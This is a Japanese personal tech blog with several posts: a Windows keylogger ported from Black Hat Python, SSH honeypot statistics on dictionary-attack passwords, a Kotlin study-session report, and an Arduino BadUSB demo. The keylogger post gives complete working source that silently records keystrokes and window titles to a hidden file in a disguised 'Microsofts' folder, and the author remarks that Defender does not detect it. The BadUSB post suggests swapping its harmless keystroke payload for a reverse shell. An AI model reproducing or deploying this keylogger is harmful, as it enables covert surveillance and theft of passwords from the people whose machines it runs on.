Black Hat Python のキーロガーをPyHookedで書き直した。
Black Hat PythonにPythonでキーロガーを構築する章があるのですが ただ2系で書かれており3系に治してもPyhookで下記のエラーがでて動かなかった。。
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'
そこで PyHookedと呼ばれるライブラリを使用し書き直すことにしました。
from pyhooked import Hook,KeyboardEvent import sys import os import datetime from ctypes import * user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi window_current = None date = datetime.date.today() file_name = date.strftime('%Y_%m_%d') save_directory = '{0}//AppData//Local//Microsofts'.format(os.path.expanduser('~')) save_file = save_directory + '//' + '.' + file_name + '.txt' input_key = [] def setting_keylogger(): if not os.path.exists(save_directory): os.mkdir(save_directory) def get_current_process(): hwnd = user32.GetForegroundWindow() pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) process_id = "%d" % pid.value executable = create_string_buffer(512) h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) window_title = create_string_buffer(512) length = user32.GetWindowTextA(hwnd, byref(window_title),512) kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) return window_title.value.decode('cp932', 'ignore') def event(args): global window_current if isinstance(args,KeyboardEvent): if 'down' in args.event_type: now_window = get_current_process() if window_current != now_window: input_key.append(now_window+"\n") window_current = now_window if args.current_key not in ['Left','Up','Right','Down']: input_key.append(args.current_key) if 'Return' == args.current_key: with open(save_file,'a') as f: f.write(''.join(input_key)+'\n') input_key.clear() setting_keylogger() window_current = get_current_process() hook = Hook() hook.handler = event hook.hook()
C:\Users\username\AppData\Local
にMicrosoftsというディレクトリを作成し.Y_m_d.txtというフォーマットで
押したキーを保存する部分を追加しました。Windows Defenderで検知されるかと思ったら意外と検知されずに
動いてしまった。
以下はVirusTotalにアップロードした結果です。
Windows Defenderに検知されて回避する記事を書こうと思ってたのに予定が狂ってしまった。
SSHに来る辞書攻撃で使われる単語を調べてみた
一週間ほどsshのログインを模倣するPythonスクリプトを動かして調査しました。 期間は2020/01/12~2020/01/19からで攻撃が来た回数は14305回です。
- admin
- !@
- root
- p@ssw0rd
- password
- oracle
- alpine
- 987654321
- 654321
一番多かったパスワードはadminです。多分、パスワードとユーザ名が同じジョーアカウントを狙いに来ているんだと思います。
気になるのはalpine
でこちらはiPhoneを初期ユーザーがmobile:alpineで脱獄してsshdをインストールしたけどパスワードを変更してない人を
狙っていると思います。以下のログが残っていました。
INFO:Access account username:root password:alpine INFO:Access account username:mobile password:alpine
rootユーザーでの攻撃が14281回来ていて断トツで1位でした。fake
で攻撃が来ているのが気になります。
一番攻撃が多かった国は中国でした。二位はアメリカ。三位がイギリスでした。
1. 中国
1. アメリカ
1. イギリス
1. フランス
1. ベトナム
以下で不正アクセスを試みたパスワード一覧を公開しています。
JavaDo Kotlin入門に参加してきた。
久しぶりに勉強会へ行ってきました。ここ半年、土日はすべてゴロゴロして 外ににでてなかったので
かなり久しぶりに参加しました。
参加した勉強会は Kotlinらしい書き方をモブプログラミングで学ぼう!です。
Kotlin入門編:解説等
最初の発表は watanave さんのKotlin入門編です。
以下のテキストを使用し基本的な言語仕様などを学びました。言語仕様的には最近のモダンな言語に
通じるところがあり 特にわからないことがありませんでした。ですがJavaを今までやったことがないのであまり有り難みがわからず…
Javaを触ってきた他の方はかなり感動していました。
個人的に面白かった話はnull許容型と非null許容型の部分でnullかもしれないオブジェクトから
toInt()のようなメソッドを呼び出すときに test?.toInt()
という糖衣構文を使うとnullだった場合
nullが返りnullじゃない場合は呼び出せる、安全呼び出しという機能がある話です。
またエルビス演算子(?:
)というnullだった場合、別の値を返す演算子にも驚きました。
ただ一番興味があった関数部分がサラッと終わってしまったので少し残念です。
Kotlin練習編:モブプログラミングの方法
次は先程のKotlinの説明をもとに実際にプログラミングをする時間でしたが
普通にプログラミングするのではなくモブプログラミングという手法を使いました。
実際にやる前に山川さんからモブプログラミングの説明がありました。
モブプログラミングとはドライバーとモブに別れ1つのマシンを使いながら目標に向かってみんなでプログラミングします。
モブはモブ同士で話し合い合意が取れた意見をドライバーに支持してコードを書きます。
ドライバーはモブの指示なしで動いてはいけません。ドライバは時間を決めて交代し適度に休憩するのが良いらしいです。
目標を達成するとハイタッチするところが一番重要です!!
僕はここでダンスを踊りました。
実際にモブプログラミングはかなり盛り上がりました。普段の自分だと思いつかない
実装が提案されたり楽しかったです。ドライバーはUSキーボードに慣れておらず別の意味で
苦戦しました。これは会社でも導入してみたいです。
感想とか
久しぶりに勉強会へ参加してめちゃくちゃ刺激をうけました。
やっぱりハンズオンは楽しいですね!Kotlinは競プロとかで使用してみようと思います。
自分もなんだか勉強会で登壇したくなってきました。絶対にスライドづくり嫌がりそうだけど
arudino互換ボードでBadusbごっこ
BadUSBとはBlack Hat 2014 に発表された攻撃手法。USBメモリのファームウェアを書き換えてHIDデバイスとして認識させ、キーの自動入力を行う。本家は特定のUSBフラッシュコントローラのみコードしか公開していない。また、手間がものすごくかかる…(基盤をショートさせたり) Hak5が販売しているUSB Rubber Duckyというハードウェアがあるが一つ40$くらいする。そして、値段はお手軽ではない。。。 そこでHID USB キーボードとして認識させることができるArduino互換のボードを使用して簡単に実験してみる。
今回、使用するのは amazonから購入した ATmega32U4 を搭載したボード。
ダイレクトUSB 超小型 ATmega32U4ボード Arduino Leonardo互換
早速、スケッチを描いてみる。
#include <Keyboard.h> void setup() { // put your setup code here, to run once: delay(3500); Keyboard.begin(); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('R'); Keyboard.releaseAll(); delay(200); Keyboard.print("notepad"); delay(200); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); Keyboard.print("Hello world!!"); Keyboard.end(); } void loop() { // put your main code here, to run repeatedly: }
上記のスケッチを簡単に説明すると、まずdelay()でUSBを挿してから3.5秒間待機しwindowsキーとRを同時に押す。 notepadと入力してenter、メモ帳が起動したらhello worldと入力する単純なものになっている。
→を押してボードに書き込む。実際に書き込む時はシリアルポートが選択されているか確認した方がいい。(そのミスで何回も書き込みに失敗した。
今回はメモ帳に文字を入力するだけだったがmetasploitのpayloadやHak5の動画であったreverse shellなどを実行させても良いと思う。素晴らしいアイディアを考えた人はぜひ教えて欲しい。また、自分の所有していないUSBメモリをむやみに接続するのはやめよう!!